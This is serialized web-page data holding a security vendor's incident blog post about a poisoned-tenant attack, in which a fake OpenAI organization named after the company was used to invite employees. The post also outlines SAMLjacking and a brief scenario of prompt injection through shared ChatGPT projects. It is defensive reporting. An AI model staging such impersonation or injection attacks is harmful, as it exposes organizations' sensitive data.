across every app and device — including shadow SaaS and unmanaged devices invisible to the IdP. Push also detects and stops the attack techniques that typically lead to ATO early in the kill chain and before an account can be compromised.",{"data":4607,"content":4608,"nodeType":4581},{},[4609,4620],{"data":4610,"content":4611,"nodeType":4569},{},[4612],{"data":4613,"content":4614,"nodeType":860},{},[4615],{"data":4616,"marks":4617,"value":4619,"nodeType":864},{},[4618],{"type":899},"Advanced phishing detection",{"data":4621,"content":4622,"nodeType":4569},{},[4623],{"data":4624,"content":4625,"nodeType":860},{},[4626],{"data":4627,"marks":4628,"value":4629,"nodeType":864},{},[],"Behavioral page analysis detects phishing kits regardless of whether the domain is known-bad. Credential entry guardrails block corporate passwords from being submitted to unauthorized domains. TTP-based detection remains effective as attacker infrastructure rotates.",{"data":4631,"content":4632,"nodeType":4581},{},[4633,4644],{"data":4634,"content":4635,"nodeType":4569},{},[4636],{"data":4637,"content":4638,"nodeType":860},{},[4639],{"data":4640,"marks":4641,"value":4643,"nodeType":864},{},[4642],{"type":899},"Identity posture hardening",{"data":4645,"content":4646,"nodeType":4569},{},[4647],{"data":4648,"content":4649,"nodeType":860},{},[4650],{"data":4651,"marks":4652,"value":4653,"nodeType":864},{},[],"Enforces MFA, strong credentials, and SSO adoption across every app the IdP doesn't manage. Produces continuous, auditable MFA coverage and credential hygiene evidence across the full application and device estate.",{"data":4655,"content":4656,"nodeType":4581},{},[4657,4668],{"data":4658,"content":4659,"nodeType":4569},{},[4660],{"data":4661,"content":4662,"nodeType":860},{},[4663],{"data":4664,"marks":4665,"value":4667,"nodeType":864},{},[4666],{"type":899},"Browser extension security",{"data":4669,"content":4670,"nodeType":4569},{},[4671],{"data":4672,"content":4673,"nodeType":860},{},[4674],{"data":4675,"marks":4676,"value":4677,"nodeType":864},{},[],"Live extension inventory with supply chain change event monitoring — ownership transfers, permission escalations, developer contact changes — rather than static risk scoring. Supports default-deny allowlisting and remote extension removal. Blocks known-bad malicious extensions automatically.",{"data":4679,"content":4680,"nodeType":4581},{},[4681,4692],{"data":4682,"content":4683,"nodeType":4569},{},[4684],{"data":4685,"content":4686,"nodeType":860},{},[4687],{"data":4688,"marks":4689,"value":4691,"nodeType":864},{},[4690],{"type":899},"Shadow SaaS and OAuth governance",{"data":4693,"content":4694,"nodeType":4569},{},[4695],{"data":4696,"content":4697,"nodeType":860},{},[4698],{"data":4699,"marks":4700,"value":4701,"nodeType":864},{},[],"Discovers shadow SaaS from actual login events with full authentication context. Monitors and blocks OAuth consent flows — including AI and MCP integrations — in real time before persistent access paths are created.",{"data":4703,"content":4704,"nodeType":4581},{},[4705,4716],{"data":4706,"content":4707,"nodeType":4569},{},[4708],{"data":4709,"content":4710,"nodeType":860},{},[4711],{"data":4712,"marks":4713,"value":4715,"nodeType":864},{},[4714],{"type":899},"ClickFix and the *Fix family",{"data":4717,"content":4718,"nodeType":4569},{},[4719],{"data":4720,"content":4721,"nodeType":860},{},[4722],{"data":4723,"marks":4724,"value":4725,"nodeType":864},{},[],"Detects and blocks ClickFix lures, clipboard injection, and browser-native variants like ConsentFix in real time — before the payload executes or OAuth key material is captured.",{"data":4727,"content":4728,"nodeType":4581},{},[4729,4740],{"data":4730,"content":4731,"nodeType":4569},{},[4732],{"data":4733,"content":4734,"nodeType":860},{},[4735],{"data":4736,"marks":4737,"value":4739,"nodeType":864},{},[4738],{"type":899},"AI visibility & control",{"data":4741,"content":4742,"nodeType":4569},{},[4743],{"data":4744,"content":4745,"nodeType":860},{},[4746],{"data":4747,"marks":4748,"value":4749,"nodeType":864},{},[],"Enforces which AI tools employees can access and routes usage to corporate tenants. Governs AI browser extensions and blocks OAuth consent grants to unapproved AI applications — drawing on the same Tier 1 capabilities (OAuth governance, extension security, shadow SaaS discovery) that make this possible.",{"data":4751,"content":4752,"nodeType":4581},{},[4753,4764],{"data":4754,"content":4755,"nodeType":4569},{},[4756],{"data":4757,"content":4758,"nodeType":860},{},[4759],{"data":4760,"marks":4761,"value":4763,"nodeType":864},{},[4762],{"type":899},"Security investigations & incident response",{"data":4765,"content":4766,"nodeType":4569},{},[4767],{"data":4768,"content":4769,"nodeType":860},{},[4770],{"data":4771,"marks":4772,"value":4773,"nodeType":864},{},[],"High-fidelity session telemetry — page loads, credential entries, DOM changes, OAuth grants — fills the missing middle that endpoint, network, and IdP logs leave open. Feeds directly into SIEM and SOAR for automated response.",{"data":4775,"content":4776,"nodeType":4581},{},[4777,4788],{"data":4778,"content":4779,"nodeType":4569},{},[4780],{"data":4781,"content":4782,"nodeType":860},{},[4783],{"data":4784,"marks":4785,"value":4787,"nodeType":864},{},[4786],{"type":899},"Infostealer defense",{"data":4789,"content":4790,"nodeType":4569},{},[4791],{"data":4792,"content":4793,"nodeType":860},{},[4794],{"data":4795,"marks":4796,"value":4797,"nodeType":864},{},[],"Intercepts ClickFix-based infostealer delivery before execution. Detects token replay in unenrolled browser contexts — catching post-theft abuse from AiTM-sourced tokens and infostealer-harvested cookies, including from unmanaged devices.",{"data":4799,"content":4800,"nodeType":4581},{},[4801,4812],{"data":4802,"content":4803,"nodeType":4569},{},[4804],{"data":4805,"content":4806,"nodeType":860},{},[4807],{"data":4808,"marks":4809,"value":4811,"nodeType":864},{},[4810],{"type":899},"Data loss prevention",{"data":4813,"content":4814,"nodeType":4569},{},[4815],{"data":4816,"content":4817,"nodeType":860},{},[4818],{"data":4819,"marks":4820,"value":4821,"nodeType":864},{},[],"Observes file uploads, downloads, and sensitive data inputs across all applications. Extends data loss visibility to BYOD and contractor devices where endpoint DLP cannot reach.",{"data":4823,"content":4824,"nodeType":4581},{},[4825,4835],{"data":4826,"content":4827,"nodeType":4569},{},[4828],{"data":4829,"content":4830,"nodeType":860},{},[4831],{"data":4832,"marks":4833,"value":4500,"nodeType":864},{},[4834],{"type":899},{"data":4836,"content":4837,"nodeType":4569},{},[4838],{"data":4839,"content":4840,"nodeType":860},{},[4841],{"data":4842,"marks":4843,"value":4844,"nodeType":864},{},[],"Custom URL blocklists with wildcard support and REST API management for threat intelligence feed sync. Application category blocking restricts access to classes of apps (file-sharing, unsanctioned AI tools) configurable by user group. Domain categorization bringing SWG-style category blocking natively to the browser without a network proxy.","table",{"data":4847,"content":4848,"nodeType":1005},{},[],{"data":4850,"content":4851,"nodeType":860},{},[4852,4856,4862],{"data":4853,"marks":4854,"value":4855,"nodeType":864},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. ",{"data":4857,"content":4858,"nodeType":883},{"uri":1700},[4859],{"data":4860,"marks":4861,"value":1703,"nodeType":864},{},[],{"data":4863,"marks":4864,"value":21,"nodeType":864},{},[],"The top 10 security problems you can solve in the browser — ranked by value","Ranking the security problems you can solve in the browser by security value and browser fit.","2026-05-14T00:00:00.000Z","the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value",{"items":4870},[4871,4873],{"sys":4872,"name":297},{"id":2732},{"sys":4874,"name":2729},{"id":2728},{"items":4876},[4877],{"fullName":4878,"firstName":4879,"jobTitle":851,"profilePicture":4880},"Alex Henshall","Alex",{"url":4881},"https://images.ctfassets.net/y1cdw1ablpvd/2rz3Pre3b1MexPIQ4hzPUe/0ef8a092b7e7df00fbce3f7d1ccb96d1/Alex_Henshall.jpeg","shadow-ai-how-to-discover-govern-and-secure-ai-apps","blog/shadow-ai-how-to-discover-govern-and-secure-ai-apps","Why you need paved paths, not barricades, for secure AI adoption",{"json":4886},{"data":4887,"content":4888,"nodeType":856},{},[4889],{"data":4890,"content":4891,"nodeType":860},{},[4892],{"data":4893,"marks":4894,"value":4895,"nodeType":864},{},[],"Blocking AI tools doesn't stop employees from using AI — it stops you seeing how they use it. The solution: make the governed path easier than the workaround.",{"id":4897,"publishedAt":4898},"7MB9tEe6mrdNXbkYVhgyWn","2026-08-13T13:06:46.644Z",{"items":4900},[4901,4905],{"sys":4902,"name":4904},{"id":4903},"3SA5H01UkKauuiTdt0KC6q","Shadow IT",{"sys":4906,"name":545},{"id":4907},"7ohk9lIkxMvJMwnp2Lhuad",{"items":4909},[4910,4912,4914,4916,4918,4920,4922,4924,4926,4928,4930,4932,4934,4936,4938,4940],{"sys":4911,"name":580,"slug":581,"tier":45},{"id":577},{"sys":4913,"name":589,"slug":590,"tier":45},{"id":586},{"sys":4915,"name":633,"slug":634,"tier":45},{"id":630},{"sys":4917,"name":624,"slug":625,"tier":45},{"id":621},{"sys":4919,"name":545,"slug":546,"tier":31},{"id":542},{"sys":4921,"name":484,"slug":485,"tier":45},{"id":481},{"sys":4923,"name":431,"slug":432,"tier":45},{"id":428},{"sys":4925,"name":413,"slug":414,"tier":31},{"id":410},{"sys":4927,"name":368,"slug":369,"tier":45},{"id":365},{"sys":4929,"name":351,"slug":352,"tier":45},{"id":348},{"sys":4931,"name":306,"slug":307,"tier":45},{"id":303},{"sys":4933,"name":288,"slug":289,"tier":45},{"id":285},{"sys":4935,"name":297,"slug":298,"tier":31},{"id":294},{"sys":4937,"name":252,"slug":253,"tier":45},{"id":249},{"sys":4939,"name":235,"slug":236,"tier":31},{"id":232},{"sys":4941,"name":244,"slug":245,"tier":45},{"id":241},"Zx6fn8UdirkncRHJf51fcJD_Tl5wsbmvST1BUx0fsQ8",{"id":4944,"title":4945,"authorsCollection":4946,"content":4956,"extension":228,"faqItemsCollection":5736,"faqTitle":59,"featured":6,"hashTags":59,"meta":5738,"metaTitle":5739,"ogImage":59,"postType":5740,"publishedDate":5741,"relatedBlogPostsCollection":5742,"slug":8181,"stem":8182,"subtitle":59,"summary":8183,"synopsis":8193,"sys":8194,"tagsCollection":8197,"topicsCollection":8203,"__hash__":8225},"blog/blog/openai-poisoned-tenant-attack.json","We coined the poisoned tenant attack in 2023; in 2026, someone used it on us",{"items":4947},[4948],{"fullName":4949,"firstName":4950,"jobTitle":4951,"socialLinks":4952,"profilePicture":4954},"Luke Jennings","Luke","Vice President, R&D",[4953],"https://www.linkedin.com/in/luke-jennings-042b5619b/",{"url":4955},"https://images.ctfassets.net/y1cdw1ablpvd/4Hosb4zKi1dA0PUyDLMe1h/27e09d894861f2196ba794037986fb08/T016S22KZ96-U02NVQM7ZD4-57761d542d83-512.jpeg",{"json":4957,"links":5651},{"data":4958,"content":4959,"nodeType":856},{},[4960,4980,4986,4992,4995,5003,5011,5018,5025,5031,5038,5045,5053,5060,5067,5073,5081,5088,5095,5102,5108,5114,5120,5128,5135,5141,5148,5155,5158,5166,5178,5186,5193,5200,5207,5214,5222,5277,5284,5303,5310,5318,5337,5343,5350,5356,5364,5371,5399,5418,5425,5428,5436,5443,5451,5458,5466,5473,5481,5488,5496,5503,5510,5513,5521,5528,5547,5554,5561,5564,5572,5579,5612,5619,5622,5628,5634],{"data":4961,"content":4962,"nodeType":860},{},[4963,4967,4976],{"data":4964,"marks":4965,"value":4966,"nodeType":864},{},[],"Three years ago, we published the poisoned tenant attack as part of the ",{"data":4968,"content":4970,"nodeType":883},{"uri":4969},"https://pushsecurity.com/resources/browser-identity-attacks-matrix",[4971],{"data":4972,"marks":4973,"value":4975,"nodeType":864},{},[4974],{"type":1455},"Browser and Identity Attacks matrix",{"data":4977,"marks":4978,"value":4979,"nodeType":864},{},[],". Last week, someone used it to target Push Security employees and customers through OpenAI's organization invitation feature. This post breaks down what happened, explores what the payoff is for an attacker, and connects the incident to a broader pattern of SaaS platform abuse that is accelerating across the industry.",{"data":4981,"content":4985,"nodeType":996},{"target":4982},{"sys":4983},{"id":4984,"type":1001,"linkType":1002},"7upGHPt7eVNji6v22h124t",[],{"data":4987,"content":4991,"nodeType":996},{"target":4988},{"sys":4989},{"id":4990,"type":1001,"linkType":1002},"53U3LHhhHFYnEpShdLmDqs",[],{"data":4993,"content":4994,"nodeType":1005},{},[],{"data":4996,"content":4997,"nodeType":1009},{},[4998],{"data":4999,"marks":5000,"value":5002,"nodeType":864},{},[5001],{"type":899},"What happened",{"data":5004,"content":5005,"nodeType":1312},{},[5006],{"data":5007,"marks":5008,"value":5010,"nodeType":864},{},[5009],{"type":899},"The invitation",{"data":5012,"content":5013,"nodeType":860},{},[5014],{"data":5015,"marks":5016,"value":5017,"nodeType":864},{},[],"In recent weeks, several Push Security team members have received multiple waves of emails from OpenAI inviting them to join an organization called \"Push Security Inc\". ",{"data":5019,"content":5020,"nodeType":860},{},[5021],{"data":5022,"marks":5023,"value":5024,"nodeType":864},{},[],"The emails came from OpenAI's legitimate notification address (noreply@tm.openai.com), passed all standard email authentication checks, and referenced our company by name. They looked exactly like a routine organizational invitation because, technically, they were one.",{"data":5026,"content":5030,"nodeType":996},{"target":5027},{"sys":5028},{"id":5029,"type":1001,"linkType":1002},"6JmXCVjUckklFrO7leDqOA",[],{"data":5032,"content":5033,"nodeType":860},{},[5034],{"data":5035,"marks":5036,"value":5037,"nodeType":864},{},[],"The invitations were sent by various accounts registered under email addresses that had no affiliation with Push. ",{"data":5039,"content":5040,"nodeType":860},{},[5041],{"data":5042,"marks":5043,"value":5044,"nodeType":864},{},[],"OpenAI's invitation email did include a warning — \"The inviter's email domain, gmail.com, does not match your domain, pushsecurity.com\" — but that's a single line in an otherwise completely legitimate-looking email from a trusted platform. The invitation targeted specific employees by their work email addresses, suggesting the attacker had done some reconnaissance on our team. ",{"data":5046,"content":5047,"nodeType":1312},{},[5048],{"data":5049,"marks":5050,"value":5052,"nodeType":864},{},[5051],{"type":899},"One click, no credentials",{"data":5054,"content":5055,"nodeType":860},{},[5056],{"data":5057,"marks":5058,"value":5059,"nodeType":864},{},[],"After discussing internally I decided to investigate further by accepting the invite. The acceptance was instant (one click, no credentials or additional authentication). This was particularly notable because it was done from an entirely separate browser to my typical work profile. I wasn’t already logged into ChatGPT from the browser, but clicking the email link was all it took to join my account to the attacker's organization. ",{"data":5061,"content":5062,"nodeType":860},{},[5063],{"data":5064,"marks":5065,"value":5066,"nodeType":864},{},[],"I landed on a confirmation page telling me I'd been added to \"Push Security Inc.\"",{"data":5068,"content":5072,"nodeType":996},{"target":5069},{"sys":5070},{"id":5071,"type":1001,"linkType":1002},"1YPMilWhyTSV860PCFXxmx",[],{"data":5074,"content":5075,"nodeType":1312},{},[5076],{"data":5077,"marks":5078,"value":5080,"nodeType":864},{},[5079],{"type":899},"What the attacker had set up",{"data":5082,"content":5083,"nodeType":860},{},[5084],{"data":5085,"marks":5086,"value":5087,"nodeType":864},{},[],"Within the organization, the attacker's account appeared under the name of Push's CEO. ",{"data":5089,"content":5090,"nodeType":860},{},[5091],{"data":5092,"marks":5093,"value":5094,"nodeType":864},{},[],"It's something of a rite of passage for new Push employees to receive scam texts from someone impersonating Adam, usually with an urgent request that inevitably leads to gift cards. But creating a fully configured SaaS tenant under a CEO's name and inviting specific employees into it is a different level of effort entirely.",{"data":5096,"content":5097,"nodeType":860},{},[5098],{"data":5099,"marks":5100,"value":5101,"nodeType":864},{},[],"All invited team members had been assigned the \"Owner\" role, giving them full administrative access to the organization. A Visa credit card was attached to the billing account.",{"data":5103,"content":5107,"nodeType":996},{"target":5104},{"sys":5105},{"id":5106,"type":1001,"linkType":1002},"272ejb1WCqvL58rYN3wfSQ",[],{"data":5109,"content":5113,"nodeType":996},{"target":5110},{"sys":5111},{"id":5112,"type":1001,"linkType":1002},"9U5oPibmLSuloIIwMdpuG",[],{"data":5115,"content":5119,"nodeType":996},{"target":5116},{"sys":5117},{"id":5118,"type":1001,"linkType":1002},"6S0boiGqIRqkxsNJWlXMZ0",[],{"data":5121,"content":5122,"nodeType":1312},{},[5123],{"data":5124,"marks":5125,"value":5127,"nodeType":864},{},[5126],{"type":899},"The response",{"data":5129,"content":5130,"nodeType":860},{},[5131],{"data":5132,"marks":5133,"value":5134,"nodeType":864},{},[],"We spotted the attack straight away and raised the alarm internally before deciding to investigate. Several Push employees had been invited to the tenant but either hadn’t seen the emails, or the wrong email address had been added for the employee. ",{"data":5136,"content":5140,"nodeType":996},{"target":5137},{"sys":5138},{"id":5139,"type":1001,"linkType":1002},"1CQqUTdcJtZWozY7azSuOI",[],{"data":5142,"content":5143,"nodeType":860},{},[5144],{"data":5145,"marks":5146,"value":5147,"nodeType":864},{},[],"By joining the tenant, I was able to see the other employees that had been added, enabling us to speak to each employee to confirm. We could also see that they hadn’t joined the tenant since they were all “invite pending” status. Confirming that nobody had joined (and thus used) the platform was the extent of investigation required. ",{"data":5149,"content":5150,"nodeType":860},{},[5151],{"data":5152,"marks":5153,"value":5154,"nodeType":864},{},[],"We also implemented mail rules to block similar invites from reaching Push employees in future. ",{"data":5156,"content":5157,"nodeType":1005},{},[],{"data":5159,"content":5160,"nodeType":1009},{},[5161],{"data":5162,"marks":5163,"value":5165,"nodeType":864},{},[5164],{"type":899},"What's the payoff for an attacker?",{"data":5167,"content":5168,"nodeType":860},{},[5169,5173],{"data":5170,"marks":5171,"value":5172,"nodeType":864},{},[],"The attacker created an OpenAI organization, named it after our company, attached a credit card (which we believe was likely stolen — it's hard to see why a legitimate card would be used for this purpose), researched specific employees, and sent targeted invitations. That represents a non-trivial investment of effort. ",{"data":5174,"marks":5175,"value":5177,"nodeType":864},{},[5176],{"type":899},"So what was the endgame?",{"data":5179,"content":5180,"nodeType":1312},{},[5181],{"data":5182,"marks":5183,"value":5185,"nodeType":864},{},[5184],{"type":899},"Get employees using the platform — then harvest what they put into it?",{"data":5187,"content":5188,"nodeType":860},{},[5189],{"data":5190,"marks":5191,"value":5192,"nodeType":864},{},[],"An attacker who just wants to spray scam content through a trusted email channel doesn't name the organization after their target, research individual employees, or attach a credit card. ",{"data":5194,"content":5195,"nodeType":860},{},[5196],{"data":5197,"marks":5198,"value":5199,"nodeType":864},{},[],"That investment only pays off if employees actually join the organization and start using it. And on an AI platform, the data people put into prompts can be extraordinarily sensitive — source code, internal documents, customer data, security research, strategic plans.",{"data":5201,"content":5202,"nodeType":860},{},[5203],{"data":5204,"marks":5205,"value":5206,"nodeType":864},{},[],"If someone on the team had assumed \"oh, we've got a company OpenAI org now\" and started running work through it, the attacker would be sitting on a live feed of that activity as an org administrator with access to usage logs and API interactions.",{"data":5208,"content":5209,"nodeType":860},{},[5210],{"data":5211,"marks":5212,"value":5213,"nodeType":864},{},[],"The stolen credit card removes a friction point that might otherwise tip someone off: if there were no billing set up and employees hit a paywall when trying to use the API, they'd start asking questions internally about who created the org. A pre-funded account removes friction and the chance to discover that something is up.",{"data":5215,"content":5216,"nodeType":1312},{},[5217],{"data":5218,"marks":5219,"value":5221,"nodeType":864},{},[5220],{"type":899},"SAMLjacking a poisoned tenant?",{"data":5223,"content":5224,"nodeType":860},{},[5225,5229,5237,5241,5249,5253,5261,5265,5273],{"data":5226,"marks":5227,"value":5228,"nodeType":864},{},[],"In August 2023, we published ",{"data":5230,"content":5232,"nodeType":883},{"uri":5231},"https://pushsecurity.com/blog/samljacking-a-poisoned-tenant/",[5233],{"data":5234,"marks":5235,"value":5236,"nodeType":864},{},[],"SAMLjacking a poisoned tenant",{"data":5238,"marks":5239,"value":5240,"nodeType":864},{},[],", which demonstrated how an attacker could register a tenant on a SaaS platform using a target organization's name, invite employees to join it, and then leverage that foothold for further attacks — in that case, by configuring a malicious SAML identity provider to harvest credentials. The technique is cataloged in the ",{"data":5242,"content":5244,"nodeType":883},{"uri":5243},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/",[5245],{"data":5246,"marks":5247,"value":5248,"nodeType":864},{},[],"Browser & Identity Attacks Matrix",{"data":5250,"marks":5251,"value":5252,"nodeType":864},{},[]," (originally the SaaS attack matrix) as an ",{"data":5254,"content":5256,"nodeType":883},{"uri":5255},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/poisoned-tenants",[5257],{"data":5258,"marks":5259,"value":5260,"nodeType":864},{},[],"initial access technique",{"data":5262,"marks":5263,"value":5264,"nodeType":864},{},[]," — and when combined with ",{"data":5266,"content":5268,"nodeType":883},{"uri":5267},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/samljacking",[5269],{"data":5270,"marks":5271,"value":5272,"nodeType":864},{},[],"SAMLjacking",{"data":5274,"marks":5275,"value":5276,"nodeType":864},{},[],", it becomes a lateral movement vector too.",{"data":5278,"content":5279,"nodeType":860},{},[5280],{"data":5281,"marks":5282,"value":5283,"nodeType":864},{},[],"The gist is that once an employee has joined an attacker-controlled organization and is treating it as a legitimate company resource, the attacker has a trusted channel for further social engineering — a follow-up message asking team members to connect their SSO, or to authorize a third-party integration that requires OAuth consent.",{"data":5285,"content":5286,"nodeType":860},{},[5287,5291,5299],{"data":5288,"marks":5289,"value":5290,"nodeType":864},{},[],"This is exactly the attack chain we described in the ",{"data":5292,"content":5293,"nodeType":883},{"uri":5231},[5294],{"data":5295,"marks":5296,"value":5298,"nodeType":864},{},[5297],{"type":1455},"original SAMLjacking post",{"data":5300,"marks":5301,"value":5302,"nodeType":864},{},[],", where a poisoned tenant on a seemingly low-risk platform becomes the entry point for credential harvesting via a malicious SAML configuration.",{"data":5304,"content":5305,"nodeType":860},{},[5306],{"data":5307,"marks":5308,"value":5309,"nodeType":864},{},[],"Based on my research I don’t think this exact scenario is easily possible in the specific context of OpenAI / ChatGPT since domain verification is required in order to enable SAML. However, there are other options to consider. ",{"data":5311,"content":5312,"nodeType":1312},{},[5313],{"data":5314,"marks":5315,"value":5317,"nodeType":864},{},[5316],{"type":899},"Substituting SAMLjacking for project-jacking?",{"data":5319,"content":5320,"nodeType":860},{},[5321,5325,5333],{"data":5322,"marks":5323,"value":5324,"nodeType":864},{},[],"We’ve recently reported on attacks like ",{"data":5326,"content":5328,"nodeType":883},{"uri":5327},"https://pushsecurity.com/blog/llmshare-malvertising-campaign/",[5329],{"data":5330,"marks":5331,"value":1555,"nodeType":864},{},[5332],{"type":1455},{"data":5334,"marks":5335,"value":5336,"nodeType":864},{},[]," that interestingly also abused ChatGPT — in this case, abusing chat sharing functionality to distribute both malicious instructions and convincing-looking designs that trick the user into navigating to an attacker-controlled site hosting a malicious payload. ",{"data":5338,"content":5342,"nodeType":996},{"target":5339},{"sys":5340},{"id":5341,"type":1001,"linkType":1002},"5U6imJMpFs8CAohztgHG3x",[],{"data":5344,"content":5345,"nodeType":860},{},[5346],{"data":5347,"marks":5348,"value":5349,"nodeType":864},{},[],"In the cases we observed in the wild, links were distributed via malvertising. But you could see a scenario in which shared projects or conversations are seeded with chats containing malicious links. Or even perhaps malicious instructions in shared projects (effectively a form of prompt injection). In this way, attackers could trick the user into running malicious commands that interact with other connected apps such as their email, calendar, and a long list of cloud services with access to sensitive company data. ",{"data":5351,"content":5355,"nodeType":996},{"target":5352},{"sys":5353},{"id":5354,"type":1001,"linkType":1002},"4g0jXhfJ5OMBhDXjfCX8S2",[],{"data":5357,"content":5358,"nodeType":1009},{},[5359],{"data":5360,"marks":5361,"value":5363,"nodeType":864},{},[5362],{"type":899},"This isn't an isolated technique",{"data":5365,"content":5366,"nodeType":860},{},[5367],{"data":5368,"marks":5369,"value":5370,"nodeType":864},{},[],"Our experience is a specific instance of a broader trend: attackers weaponizing the invitation and notification features built into SaaS platforms to deliver social engineering through trusted channels. ",{"data":5372,"content":5373,"nodeType":860},{},[5374,5378,5386,5390,5395],{"data":5375,"marks":5376,"value":5377,"nodeType":864},{},[],"In January 2026, ",{"data":5379,"content":5381,"nodeType":883},{"uri":5380},"https://me-en.kaspersky.com/about/press-releases/kaspersky-detected-a-scam-exploiting-openais-teamwork-features",[5382],{"data":5383,"marks":5384,"value":5385,"nodeType":864},{},[],"Kaspersky reported",{"data":5387,"marks":5388,"value":5389,"nodeType":864},{},[]," a cruder abuse of the same OpenAI invitation feature. When you create an OpenAI organization, the platform lets you set the organization name to any arbitrary string. Attackers exploited this by stuffing scam content directly into the org name field: fake subscription renewal notices, fraudulent phone numbers for vishing callbacks, and links to adult services. In that case, the ",{"data":5391,"marks":5392,"value":5394,"nodeType":864},{},[5393],{"type":899},"org name was the payload",{"data":5396,"marks":5397,"value":5398,"nodeType":864},{},[],", while in our case, the email was the delivery mechanism for a legitimate-looking poisoned tenant. ",{"data":5400,"content":5401,"nodeType":860},{},[5402,5406,5414],{"data":5403,"marks":5404,"value":5405,"nodeType":864},{},[],"In April 2026, ",{"data":5407,"content":5409,"nodeType":883},{"uri":5408},"https://blog.talosintelligence.com/weaponizing-saas-notification-pipelines/",[5410],{"data":5411,"marks":5412,"value":5413,"nodeType":864},{},[],"Cisco Talos published research",{"data":5415,"marks":5416,"value":5417,"nodeType":864},{},[]," on what they termed \"Platform-as-a-Proxy\" (PaaP), documenting the same technique across GitHub and Jira — phishing lures embedded in commit messages, welcome messages, and other user-controlled fields that feed into platform-generated notification emails. At its peak, Talos estimated approximately 2.89% of emails sent from GitHub on a single day were associated with this activity.",{"data":5419,"content":5420,"nodeType":860},{},[5421],{"data":5422,"marks":5423,"value":5424,"nodeType":864},{},[],"What’s clear is that attackers are abusing SaaS platforms that let anyone create organizations, name them whatever they want, and send invitation emails through the platform's own mail infrastructure. ",{"data":5426,"content":5427,"nodeType":1005},{},[],{"data":5429,"content":5430,"nodeType":1009},{},[5431],{"data":5432,"marks":5433,"value":5435,"nodeType":864},{},[5434],{"type":899},"What you can actually do about it",{"data":5437,"content":5438,"nodeType":860},{},[5439],{"data":5440,"marks":5441,"value":5442,"nodeType":864},{},[],"The defensive challenge with poisoned tenant attacks is that they exploit legitimate platform functionality delivered through legitimate sites. There's no malicious URL to block, no spoofed domain to detect, and no attachment to scan. The invitation email is, by every technical measure, genuine. That said, there are practical steps that reduce the risk. ",{"data":5444,"content":5445,"nodeType":1312},{},[5446],{"data":5447,"marks":5448,"value":5450,"nodeType":864},{},[5449],{"type":899},"Get visibility into SaaS organization membership",{"data":5452,"content":5453,"nodeType":860},{},[5454],{"data":5455,"marks":5456,"value":5457,"nodeType":864},{},[],"Most organizations have no visibility into which SaaS platform invitations their employees are receiving or accepting. If an employee joins an attacker-controlled Slack workspace, OpenAI organization, or Jira project, the security team typically has no way to know. Any tool that provides visibility into SaaS account creation and organization membership — whether through browser telemetry, IdP monitoring, or platform API integration — closes a significant blind spot. ",{"data":5459,"content":5460,"nodeType":1312},{},[5461],{"data":5462,"marks":5463,"value":5465,"nodeType":864},{},[5464],{"type":899},"Train for invitations, not just phishing",{"data":5467,"content":5468,"nodeType":860},{},[5469],{"data":5470,"marks":5471,"value":5472,"nodeType":864},{},[],"Generic phishing awareness training doesn't cover this scenario well, because the emails genuinely aren't phishing in the traditional sense. They're legitimate platform notifications carrying an illegitimate invitation. Employees need to understand that an email from OpenAI, Microsoft, GitHub, or Atlassian can be both technically authentic and part of an attack — and that joining an organization on any platform is a security-relevant action that should be verified through an internal channel before accepting.",{"data":5474,"content":5475,"nodeType":1312},{},[5476],{"data":5477,"marks":5478,"value":5480,"nodeType":864},{},[5479],{"type":899},"Can you protect against domain squatting?",{"data":5482,"content":5483,"nodeType":860},{},[5484],{"data":5485,"marks":5486,"value":5487,"nodeType":864},{},[],"In some cases, you can register your organization name on a platform to prevent others from claiming it, even if you don't plan to use the platform's organizational features immediately. That said, in others you can have lots of tenants with the same name, and there are no protections around companies claiming a tenant ID impersonating your own — as in this case, where an attacker with a random email address was able to create a realistic-looking Push Security tenant. ",{"data":5489,"content":5490,"nodeType":1312},{},[5491],{"data":5492,"marks":5493,"value":5495,"nodeType":864},{},[5494],{"type":899},"Lobby vendors to do better",{"data":5497,"content":5498,"nodeType":860},{},[5499],{"data":5500,"marks":5501,"value":5502,"nodeType":864},{},[],"Platform vendors need to improve invitation controls. OpenAI does include a warning when the inviter's domain doesn't match the recipient's domain, which is better than nothing — but a single line of text in an otherwise polished invitation email is easy to miss.",{"data":5504,"content":5505,"nodeType":860},{},[5506],{"data":5507,"marks":5508,"value":5509,"nodeType":864},{},[],"Platforms should consider requiring domain verification before allowing an organization to use a company's name, adding more prominent warnings for cross-domain invitations, or allowing enterprise customers to restrict which organizations their employees can join.",{"data":5511,"content":5512,"nodeType":1005},{},[],{"data":5514,"content":5515,"nodeType":1009},{},[5516],{"data":5517,"marks":5518,"value":5520,"nodeType":864},{},[5519],{"type":899},"The bigger picture",{"data":5522,"content":5523,"nodeType":860},{},[5524],{"data":5525,"marks":5526,"value":5527,"nodeType":864},{},[],"When we published the poisoned tenant technique in 2023, it was a theoretical attack that we hadn't seen used in the wild. Three years later, we've experienced it firsthand, and the technique has moved from our attack matrix to our incident log.",{"data":5529,"content":5530,"nodeType":860},{},[5531,5535,5543],{"data":5532,"marks":5533,"value":5534,"nodeType":864},{},[],"The explosion of SaaS platforms in enterprise environments (",{"data":5536,"content":5537,"nodeType":883},{"uri":885},[5538],{"data":5539,"marks":5540,"value":5542,"nodeType":864},{},[5541],{"type":1455},"particularly with the force multiplier that is AI",{"data":5544,"marks":5545,"value":5546,"nodeType":864},{},[],"), each with their own organization and invitation features, has created a sprawling attack surface that most security teams aren't monitoring. Every platform that lets anyone create an organization with any name and invite anyone to join it is offering attackers a trusted delivery channel.",{"data":5548,"content":5549,"nodeType":860},{},[5550],{"data":5551,"marks":5552,"value":5553,"nodeType":864},{},[],"And as AI platforms like OpenAI become standard tools in the enterprise, the value of a poisoned tenant on those platforms — with access to prompts, API usage, and potentially sensitive data — grows significantly.",{"data":5555,"content":5556,"nodeType":860},{},[5557],{"data":5558,"marks":5559,"value":5560,"nodeType":864},{},[],"It's good that we spend our days thinking about this stuff — the attack was caught quickly because the team is wary of exactly these kinds of techniques, and no data was exposed. The next organization targeted with this technique may not have that advantage, especially if the attacker's tenant sits in the background while employees unknowingly feed it data through their normal 